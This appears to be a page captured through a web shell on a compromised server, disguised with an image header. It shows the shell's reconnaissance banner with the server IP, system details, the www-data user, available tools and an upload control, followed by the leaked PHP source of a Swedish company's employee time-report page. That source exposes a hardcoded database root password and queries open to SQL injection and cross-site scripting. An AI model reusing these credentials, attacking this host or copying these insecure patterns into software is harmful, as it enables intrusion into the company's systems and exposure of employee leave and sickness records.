????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.3 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/timereport/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASTACUS TIDRAPPORT</title>
<link href="../sales/table.css" rel="stylesheet" type="text/css">
<style type="text/css">
.rubrik {
font-family: Verdana, Geneva, sans-serif;
text-align: left;
}
.text {
font-family: Verdana, Geneva, sans-serif;
}
.text {
font-size: 14px;
}
#form1 {
}
.bold {
font-weight: bold;
}
.bold {
font-family: Verdana, Geneva, sans-serif;
}
.bold {
font-size: 14px;
}
</style>
<script src="js/Chart.bundle.js"></script>
<script src="js/utils.js"></script>
<script>
function MM_openBrWindow2(theURL,winName) { //v2.0
window.open(theURL,winName,'status=yes, resizable=yes','width='+screen.width,'height='+screen.height);
}
function MM_openBrWindow2(theURL,winName,extra) { //v2.0
window.open(theURL,winName,extra);
}
</script>
</head>
<?php
$Username = $_GET['username'];
if($_GET['year'] == ""){
$year = date("Y");
}else{
$year = $_GET['year'];
}
if($_GET['month'] == ""){
$month = intval( date("m"))-1;
}else{
$month = $_GET['month'];
}
if($month < 0){
$year = $_GET['year'] - 1;
$month = 12;
}
if($month > 12){
$year = $_GET['year']+ 1;
$month = 1;
}
if($month < 10){
$month = "0".$month;
}
?>
<body>
<h1 class="rubrik">Månadssammanställning<br />
<span class="rubrik"><br />
<a href="?month=<?php echo($month-1);?>&year=<?php echo($year);?>&username=<?php echo($Username);?>&show=<?<?php echo($_GET['show']);?>"><< Föregående månad</a> (Nu visas: <?php echo($year ."-".$month);?>) <a href="?month=<?php echo($month+1);?>&year=<?php echo($year);?>&username=<?php echo($Username);?>&show=<?<?php echo($_GET['show']);?>?>">Nästa månad >></a></span> <br />
</h1>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="bold">
<td width="301">Anställd</td>
<td width="152">Arbetstimmar</td>
<td width="144">Arbetad tid</td>
<td width="166">Föräldrarledighet</td>
<td width="162">Sjukdagar</td>
<td width="205">Semesterdagar</td>
<td width="205">Permiteringsdagar</td>
<td width="140">Flex</td>
</tr>
</table>
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$cont = cal_days_in_month(CAL_GREGORIAN,$month,$year);
$loner = $_GET['show'];
if($loner == "all"){
$sql = "SELECT (SUM(Hrs)*60 + SUM(Min)) as Mintotal, Username FROM ProjectTimeV2 where WorkDate >= '".$year."-".$month."-01' and WorkDate <= '".$year."-".$month."-".$cont."' group by Username";
}else{
$sql = "SELECT (SUM(Hrs)*60 + SUM(Min)) as Mintotal, Username FROM ProjectTimeV2 where WorkDate >= '".$year."-".$month."-01' and WorkDate <= '".$year."-".$month."-".$cont."' group by Username";
//and not Username = 'isak.k.linderoth@astacus.se'
}
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$vaccation = 0;
$sickdays = 0;
$vabdays = 0;
$sql = "SELECT Hrs, Startdate, Enddate FROM EmployeeAway where startdate LIKE '".$year."-".$month."%' and Username = '".$row['Username']."' and type = 1";
$result1 = mysql_query($sql);
$sicktext = "";
while ($row1 = mysql_fetch_assoc($result1)){
$sickdays += $row1['Hrs'];
$sicktext = $sicktext . $row1['Startdate']. " - " .$row1['Enddate']. " (".$row1['Hrs']." h)\\n";
}
$sql = "SELECT Hrs, Startdate, Enddate FROM EmployeeAway where startdate LIKE '".$year."-".$month."%' and Username = '".$row['Username']."' and type = 2 ";
$vacctext = "";
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$vaccation += $row1['Hrs'];
$vacctext = $vacctext . $row1['Startdate']. " - " .$row1['Enddate']. " (".$row1['Hrs']." h)\\n";
}
$sql = "SELECT Hrs, Startdate, Enddate FROM EmployeeAway where startdate LIKE '".$year."-".$month."%' and Username = '".$row['Username']."' and type = 4 ";
$permtext = "";
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$perm += $row1['Hrs'];
$permtext = $vacctext . $row1['Startdate']. " - " .$row1['Enddate']. " (".$row1['Hrs']." h)\\n";
}
$sql = "SELECT Hrs, Startdate, Enddate FROM EmployeeAway where startdate LIKE '".$year."-".$month."%' and Username = '".$row['Username']."' and type = 3 ";
$vabbtext = "";
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$vabdays += $row1['Hrs'];
$vabbtext = $vabbtext . $row1['Startdate']. " - " .$row1['Enddate']. " (".$row1['Hrs']." h)\\n";
}
$sql = "SELECT * FROM WorkingDays where Year = ".$year." and Month = ".intval($month)."";
$WorkingDays = 168;
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$WorkingDays = $row1['Days'];
}
$min = $row['Mintotal'];
$Username = $row['Username'];
$sql = "SELECT * FROM EmployeeInfo where Username = '".$Username."'";
$Workgrade = 1;
$result1 = mysql_query($sql);
while ($row1 = mysql_fetch_assoc($result1)){
$Workgrade = $row1['Workgrade'];
}
$WorkingDays = $WorkingDays*$Workgrade;
$hours = ($min / 60);
$rhours = floor($hours);
$minutes = ($hours - $rhours) * 60;
$rminutes = round($minutes);
$hrs = $rhours;
$min = $rminutes;
if($hrs< 10){
$hrs = "0".$hrs;
}
if($min< 10){
$min = "0".$min;
}
$flex_min = (intval($hrs)*60+intval($min)) - $WorkingDays*60 +($vaccation*60 + $vabdays*60 +$sickdays*60);
$hours = ($flex_min / 60);
$flex_hrs = floor($hours);
$minutes = ($hours - $flex_hrs) * 60;
$flex_min = round($minutes);
if(round($minutes) > 10){
$flex_hrs = $flex_hrs +1;
$flex_min = 60-round($minutes);
}
if(abs($flex_hrs) < 10){
if($flex_hrs < 0){
$flex_hrs = "-0".abs($flex_hrs);
}else{
$flex_hrs = "0".$flex_hrs;
}
}
if(abs($flex_min)< 10){
$flex_min = "0".$flex_min;
}
?>
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="text">
<td width="305"><?php echo($Username);?></td>
<td width="154"><?php echo($WorkingDays);?></td>
<td width="137"><?php echo($hrs)?>:<?php echo($min)?> h</td>
<td width="166"><a href="#" onClick="javascript:alert('<?php echo("$vabbtext");?>');"><?php echo($vabdays/8);?> (<?php echo($vabdays);?> h)</a></td>
<td width="164"><a href="#" onClick="javascript:alert('<?php echo("$sicktext");?>');"><?php echo($sickdays/8);?> (<?php echo($sickdays);?> h)</a></td>
<td width="206"><a href="#" onClick="javascript:alert('<?php echo("$vacctext");?>');"><?php echo($vaccation/8);?> (<?php echo($vaccation);?> h)</a></td>
<td width="206"><a href="#" onClick="javascript:alert('<?php echo("$permtext");?>');"><?php echo($perm/8);?> (<?php echo($perm);?> h)</a></td>
<td width="138"><?php echo($flex_hrs.":".$flex_min);?></td>
</tr>
</table>
<?php
}
/*
data: [
randomScalingFactor(),
randomScalingFactor(),
randomScalingFactor(),
randomScalingFactor(),
randomScalingFactor(),
]
labels: [
'Red',
'Orange',
'Yellow',
'Green',
'Blue'
]
backgroundColor: [
window.chartColors.red,
window.chartColors.orange,
window.chartColors.yellow,
window.chartColors.green,
window.chartColors.blue,
],
*/
?>
<br />
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="table table-mc-light-blue">
<tr class="text">
<td width="420"></td>
<td width="141"> </td>
<td width="709"> </td>
</tr>
</table>
<br />
<h1 class="rubrik"><br />
<br />
</h1>
<p> </p>
</body>
</html>